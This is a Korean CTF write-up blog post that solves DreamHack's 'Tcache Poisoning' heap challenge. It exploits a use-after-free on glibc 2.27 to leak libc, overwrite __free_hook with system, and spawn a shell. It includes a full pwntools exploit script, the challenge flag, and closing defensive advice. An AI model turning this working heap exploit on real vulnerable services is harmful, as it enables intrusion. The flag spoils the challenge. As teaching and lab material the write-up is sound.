[🥇 Gold 4] free 하고 포인터를 안 지웠다 — DreamHack Tcache Poisoning 풀이

2026-07-11·1분 읽기·

[🥇 Gold 4] free 하고 포인터를 안 지웠다 — DreamHack Tcache Poisoning 풀이

메뉴 네 개짜리 힙 문제. free() 뒤에도 전역 포인터를 그대로 두는 바람에 해제된 tcache 청크의 fd 를 마음대로 읽고 쓸 수 있다. no-PIE 라 주소가 고정인 &stdout 를 할당해 libc 를 흘리고, 같은 수법으로 __free_hook 에 system 을 얹어 "/bin/sh" 를 free 하면 셸이 뜬다. glibc 2.27 이라 double-free 검사도 없다.

문제: DreamHack — Tcache Poisoning 분류: Pwnable (Heap / Use-After-Free) 난이도: 🥇 Gold 4 FLAG: DH{f9e02bd556d6643f11d9a83570ef5192795cf91c6b443cd603e9f83787ab02fc}

이름부터 답을 다 말해주는 문제다. 그래도 "tcache poisoning 이 정확히 뭘 어떻게 오염시키는가"를 손으로 한 번 짚어보기에는 딱 좋은 크기라, 정찰부터 셸까지 빠짐없이 적어둔다. 소스는 40줄이 안 되고, 취약점은 딱 한 줄 — free 하고 나서 포인터를 NULL 로 안 지운다.


문제 개요

항목내용
문제명Tcache Poisoning
난이도🥇 Gold 4
분류Pwnable (Heap, Use-After-Free)
제공 파일tcache_poison, tcache_poison.c, libc-2.27.so, Dockerfile
libcUbuntu GLIBC 2.27-3ubuntu1.4 (18.04)
보호 기법NX, Full RELRO, no-PIE, 카나리 없음
핵심 취약점free 후 포인터 미소거(UAF) → tcache fd 오염으로 임의 주소 할당

가장 먼저 볼 것은 보호 기법이다. Full RELRO 라 GOT 는 읽기 전용이고(덮어쓰기 불가), 대신 no-PIE 라 바이너리 영역 주소(0x400000~)가 전부 고정이다. 이 "고정된 주소" 하나가 나중에 libc 를 흘리는 실마리가 된다.

file tcache_poison && checksec --file=tcache_poison
file 과 checksec 으로 본 tcache_poison — x86-64 동적 링크 실행파일이고 Full RELRO·NX 는 켜졌지만 카나리가 없고 no-PIE 라 0x400000 대 주소가 고정이다
file 과 checksec 으로 본 tcache_poison — x86-64 동적 링크 실행파일이고 Full RELRO·NX 는 켜졌지만 카나리가 없고 no-PIE 라 0x400000 대 주소가 고정이다

소스 정찰

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;
 
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
 
  while (1) {
    printf("1. Allocate\n2. Free\n3. Print\n4. Edit\n");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("Size: ");   scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: "); read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);        // ← 여기. chunk 를 NULL 로 안 지운다
        break;
      case 3:
        printf("Content: %s", chunk);   // 해제된 청크도 그대로 읽음
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);       // 해제된 청크도 그대로 씀
        break;
    }
  }
}

전역 청크 포인터는 딱 하나다. Allocate 할 때마다 새 주소로 덮이고, Free 는 free(chunk) 만 하고 chunk = NULL 을 하지 않는다. 그래서 free 직후에도 chunk 는 방금 해제한 청크를 가리키고, 그 상태에서

  • Print 는 printf("%s", chunk) — 해제된 청크의 첫 8바이트(tcache fd)를 읽고,
  • Edit 는 read(0, chunk, size-1) — 해제된 청크의 fd 를 덮는다.

전형적인 Use-After-Free 다. 디스어셈블로도 세 분기가 전부 같은 [rbp-0x10](전역 chunk)을 인자로 쓰는 게 보인다.

objdump — case2 free 는 포인터를 지우지 않고, case3 printf %s 와 case4 read 가 해제된 청크를 그대로 읽고 쓴다
objdump — case2 free 는 포인터를 지우지 않고, case3 printf %s 와 case4 read 가 해제된 청크를 그대로 읽고 쓴다

tcache poisoning 이 오염시키는 것

glibc 의 tcache 는 크기별 단일 연결 리스트다. 청크를 free 하면 그 청크의 사용자 데이터 첫 8바이트에 "다음 청크 주소(fd/next)"가 적히고, tcache 의 head 가 이 청크를 가리킨다. malloc 은 head 를 떼어 주고 head 를 head->next 로 옮긴다.

문제는 glibc 2.27 tcache 에는 이 fd 를 검증하는 장치가 하나도 없다는 것이다. safe-linking(fd 를 주소로 XOR 난독화, 2.32)도, tcache double-free 를 잡는 key 필드(2.29)도 아직 없다. 그러니 해제된 청크의 fd 를 원하는 주소로 덮으면, 그 주소가 다음다음 malloc 이 돌려주는 포인터가 된다. 즉 임의 주소를 청크로 할당할 수 있다.

tcache poisoning 원리 — 해제 청크의 fd 를 &target 으로 덮으면 두 번째 malloc 이 target 을 반환한다
tcache poisoning 원리 — 해제 청크의 fd 를 &target 으로 덮으면 두 번째 malloc 이 target 을 반환한다

보통 tcache poisoning 예제는 "free 두 번(double-free)"으로 시작하지만, 이 문제는 그럴 필요조차 없다. UAF 로 해제 청크를 직접 Edit 할 수 있으니, free 한 번 → Edit 로 fd 덮기, 이 두 동작이면 오염이 끝난다.

alloc(A)                 # tcache[idx] 에 들어갈 청크 하나 확보
free()                   # tcache[idx]: head → A,  A->next = NULL
edit(p64(target))        # A->next = target        ← poisoning (UAF write)
alloc()                  # malloc → A,  head = A->next = target
alloc()                  # malloc → target         ← 임의 주소가 청크로!

1단계 — no-PIE 를 지렛대 삼아 libc 흘리기

Full RELRO 라 GOT 는 못 덮고, libc 함수를 부르려면 결국 libc 베이스를 알아야 한다. 그런데 이 바이너리는 no-PIE 라 stdout 전역 변수 자체가 고정 주소 0x601010 에 있다. 그리고 그 변수의 값은 libc 안의 &_IO_2_1_stdout_ 다(copy relocation 으로 로더가 채워준다).

정리하면 — tcache poisoning 으로 malloc 이 0x601010 을 돌려주게 만든 뒤 Print 하면, printf("%s", 0x601010) 이 그 자리에 든 libc 주소를 출력한다. libc 베이스를 흘리는 데 별도의 언소티드 빈 트릭이 필요 없다.

한 가지 걸림돌: malloc 이 0x601010 을 돌려주는 Allocate 는 그 직후 read(0, chunk, size-1) 로 내용을 쓴다. 여기서 stdout 값을 통째로 덮으면 누출이 깨진다. 그래서 딱 1바이트만 보낸다. _IO_2_1_stdout_ 의 오프셋이 ...760 이라 최하위 바이트는 ASLR 과 무관하게 항상 0x60 — 그 값을 그대로 다시 써 넣으면 포인터가 보존된다.

STDOUT_BSS    = 0x601010                       # no-PIE, *STDOUT_BSS = &_IO_2_1_stdout_
OFF_IO_STDOUT = libc.symbols['_IO_2_1_stdout_'] # 0x3ec760
 
alloc(0x18, b'A'*8)          # A (tcache idx 0x20)
free()                       # tcache[0x20]: head → A, A->next = NULL   (chunk 는 여전히 A → UAF)
edit(p64(STDOUT_BSS))        # A->next = &stdout                        (poisoning)
alloc(0x18, b'B'*8)          # malloc → A,  head = &stdout
alloc(0x18, b'\x60')         # malloc → &stdout, 이어지는 1바이트 write 로 최하위 0x60 만 재기록(값 보존)
libc.address = u64(show().ljust(8, b'\x00')) - OFF_IO_STDOUT

%s 는 중간에 널바이트를 만나면 거기서 끊긴다. libc 주소는 대개 6바이트가 온전히 나오지만, 드물게 ASLR 이 중간 바이트를 0x00 으로 만들면 누출이 짧게 잘린다. 그래서 실제 익스에서는 베이스가 페이지 정렬 + 정상 범위(0x7f...)인지 확인하고, 아니면 연결을 다시 맺어 재시도한다.

삽질 기록 — 누출이 가끔 음수 베이스로 튀던 이유

처음엔 재시도 없이 한 방에 뽑았는데, 열 번에 한두 번꼴로 libc base = -0x73000 같은 값이 나왔다. 원인은 위에 적은 %s 널 절단이다. 그날 붙은 libc 주소의 3~4번째 바이트가 우연히 0x00 이면 printf("%s") 가 3바이트만 뱉고, u64 결과가 _IO_2_1_stdout_ 오프셋보다 작아 베이스가 음수로 계산된다. 값이 ...760 으로 끝나는 걸 보고 "포인터 자체는 맞게 흘렸는데 길이만 잘렸구나"를 확인했다. 해결은 단순하게 — 베이스가 0x7f0000000000 ~ 0x800000000000 사이 + 페이지 정렬이면 채택, 아니면 재연결. 몇 번 돌려도 한 번이면 붙는다.


2단계 — __free_hook 에 system 얹기

libc 베이스를 알았으니 나머지는 교과서다. __free_hook 은 free() 가 호출되는 맨 앞에서 if (__free_hook) __free_hook(mem) 로 검사된다. 여기에 system 을 써 두고, 내용이 "/bin/sh" 인 청크를 free 하면 system("/bin/sh") 가 된다.

1단계에서 쓴 0x20 빈은 오염돼 있으니 이번엔 다른 크기(0x30) 를 써서 깨끗하게 poisoning 한다.

free_hook = libc.address + libc.symbols['__free_hook']
system    = libc.address + libc.symbols['system']
 
alloc(0x28, b'C'*8)           # B (tcache idx 0x30)
free()                        # tcache[0x30]: head → B, B->next = NULL
edit(p64(free_hook))          # B->next = __free_hook       (poisoning)
alloc(0x28, b'D'*8)           # malloc → B,  head = __free_hook
alloc(0x28, p64(system))      # malloc → __free_hook, 이어지는 write 로 system 기록

이게 실제로 그대로 벌어지는지 GDB 로 확인했다. 제공된 libc-2.27.so 로 patchelf 해서 문제와 같은 환경으로 맞춘 뒤(ASLR off 로 주소 고정), poisoning 직후 해제된 청크 B 의 fd 가 &__free_hook 과 일치하고, system 기록 직후 *__free_hook == system 인 것을 그대로 찍었다.

gdb 런타임 확인 화면 — poisoning 후 해제 청크의 fd 가 free hook 주소와 일치하고, system 기록 뒤 free hook 값이 system 과 같아진다
gdb 런타임 확인 화면 — poisoning 후 해제 청크의 fd 가 free hook 주소와 일치하고, system 기록 뒤 free hook 값이 system 과 같아진다

3단계 — "/bin/sh" 를 free

마지막은 아직 건드리지 않은 깨끗한 크기(0x40)로 청크 하나를 새로 잡아 내용을 "/bin/sh\x00" 로 채우고 그대로 free 한다. free 진입 순간 __free_hook(=system)이 불리고, 인자는 방금 청크의 주소 — 그 자리에 "/bin/sh" 가 들어 있으니 system("/bin/sh").

alloc(0x38, b'/bin/sh\x00')   # 깨끗한 0x40 bin 에서 새 청크 = "/bin/sh"
free()                        # free() → __free_hook("/bin/sh") = system("/bin/sh")  → shell

전체 익스플로잇

from pwn import *
 
context.arch = 'amd64'
HOST, PORT = 'host3.dreamhack.games', 22791
libc = ELF('libc-2.27.so', checksec=False)
STDOUT_BSS    = 0x601010                         # no-PIE, *STDOUT_BSS = &_IO_2_1_stdout_
OFF_IO_STDOUT = libc.symbols['_IO_2_1_stdout_']
OFF_FREE_HOOK = libc.symbols['__free_hook']
OFF_SYSTEM    = libc.symbols['system']
 
def io(r, i):    r.recvuntil(b'4. Edit\n'); r.sendline(str(i).encode())
def alloc(r,s,c):io(r,1); r.recvuntil(b'Size: '); r.sendline(str(s).encode()); r.recvuntil(b'Content: '); r.send(c)
def free(r):     io(r, 2)
def show(r):     io(r,3); r.recvuntil(b'Content: '); return r.recvuntil(b'1. Allocate', drop=True)
def edit(r,c):   io(r,4); r.recvuntil(b'Edit chunk: '); r.send(c)
 
# 1) &stdout 를 할당해 libc 누출 (%s 널절단 대비 재연결 재시도)
def leak_once():
    r = remote(HOST, PORT)
    alloc(r, 0x18, b'A'*8); free(r); edit(r, p64(STDOUT_BSS))
    alloc(r, 0x18, b'B'*8); alloc(r, 0x18, b'\x60')
    base = u64(show(r).ljust(8, b'\x00')) - OFF_IO_STDOUT
    if base & 0xfff or not (0x7f0000000000 <= base <= 0x800000000000):
        r.close(); return None
    libc.address = base
    return r
 
for _ in range(16):
    r = leak_once()
    if r: break
log.info('libc base = %#x', libc.address)
 
# 2) __free_hook = system  (다른 크기 0x30 bin 사용)
alloc(r, 0x28, b'C'*8); free(r); edit(r, p64(libc.address + OFF_FREE_HOOK))
alloc(r, 0x28, b'D'*8); alloc(r, 0x28, p64(libc.address + OFF_SYSTEM))
 
# 3) system("/bin/sh")
alloc(r, 0x38, b'/bin/sh\x00'); free(r)
r.sendline(b'cat /home/tcache_poison/flag')
r.interactive()

원격에 붙이면 libc 를 흘리고 셸을 얻어 플래그가 떨어진다.

원격 익스 실행 화면 — libc base 와 __free_hook·system 주소를 차례로 누출한 뒤 system 으로 셸을 얻어 마지막 줄에 flag 를 그대로 찍었다
원격 익스 실행 화면 — libc base 와 __free_hook·system 주소를 차례로 누출한 뒤 system 으로 셸을 얻어 마지막 줄에 flag 를 그대로 찍었다
[leak] libc base   = 0x7fbbb9b09000
[leak] __free_hook  = 0x7fbbb9ef68e8
[leak] system       = 0x7fbbb9b58550
[shell] system("/bin/sh") 성공
[FLAG]  DH{f9e02bd556d6643f11d9a83570ef5192795cf91c6b443cd603e9f83787ab02fc}

방어 관점 정리

  • free 후 포인터를 반드시 지운다. free(p); p = NULL; 한 줄이 이 문제 전체를 막는다. UAF 는 거의 항상 "해제한 포인터를 계속 들고 있는" 데서 시작한다.
  • 최신 glibc 로 올린다. 2.29 의 tcache key(double-free 탐지), 2.32 의 safe-linking(fd 난독화)만 있었어도 fd 를 이렇게 맨값으로 덮진 못한다. 이 문제가 성립하는 건 2.27 이라 그 방어가 없기 때문이다.
  • __free_hook/__malloc_hook 은 이미 역사 속으로. glibc 2.34 부터 이 훅들이 제거됐다. 훅 오염 기법 자체가 최신 배포판에선 안 통한다.
  • PIE 를 켠다. no-PIE 라 &stdout 같은 고정 주소를 그냥 읽어 libc 를 흘릴 수 있었다. PIE 였다면 바이너리 주소부터 따로 흘려야 했을 것이다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥈 Silver 1] 같은 청크를 두 번 free — DreamHack tcache_dup 풀이
blog

[🥈 Silver 1] 같은 청크를 두 번 free — DreamHack tcache_dup 풀이

free() 하고 전역 포인터를 안 지우는 데다 glibc 2.27 이라 double-free 검사도 없다. 같은 청크를 두 번 해제하면 tcache 리스트가 자기 자신을 가리키는 루프가 되고, 이걸 이용해 다음 할당의 fd 를 free@GOT 로 조작한다. no-PIE·Partial RELRO 라 leak 없이 free@GOT 에 get_shell 을 얹고 free 를 부르면 셸이 뜬다.
#dreamhack#ctf#pwnable+5
2026-07-11#dreamhack +6
[🥈 Silver 3] Full RELRO·카나리·CET가 다 켜져 있어도 상관없었다 — DreamHack pwn-library 풀이
blog

[🥈 Silver 3] Full RELRO·카나리·CET가 다 켜져 있어도 상관없었다 — DreamHack pwn-library 풀이

checksec을 돌리면 RELRO, 카나리, NX, PIE에 SHSTK·IBT(Intel CET)까지 전부 켜져 있다. ROP도, 카나리 우회도, 컨트롤플로우 하이재킹도 전부 무의미한 방어벽이다. 그런데 취약점은 그 어느 것과도 상관없는 곳에 있었다 — 책을 반납하는 함수가 배열 인덱스를 줄이지 않고 포인터도 지우지 않은 채로 free()만 호출한다. 이 댕글링 포인터를 독립된 malloc 호출 하나가 tcache에서 그대로 주워가면서, "이미 반납한 책"과 "방금 훔친 새 책"이 메모리 상에서 완전히 같은 주소를 가리키게 된다. 리크도, ROP도 없이 순수한 포인터 앨리어싱만으로 로컬 파일을 통째로 읽어냈다.
#dreamhack#ctf#pwnable+4
2026-07-20#dreamhack +6
[🥇 Gold 3] 스택에 가짜 청크를 세워 malloc을 속인다 — DreamHack house_of_spirit 풀이
blog

[🥇 Gold 3] 스택에 가짜 청크를 세워 malloc을 속인다 — DreamHack house_of_spirit 풀이

임의 주소 free 하나로 스택 조각을 tcache 에 밀어 넣고, 같은 크기 malloc 으로 그 스택 주소를 되돌려받아 main 의 리턴 주소를 덮는다. glibc 2.27 의 tcache free 경로가 청크 size 자체만 보고 다음 청크는 보지 않는다는 점이 전부다. gdb 로 tcache 항목이 스택을 가리키는 순간까지 확인했다.
#dreamhack#ctf#pwn+5
2026-08-05#dreamhack +5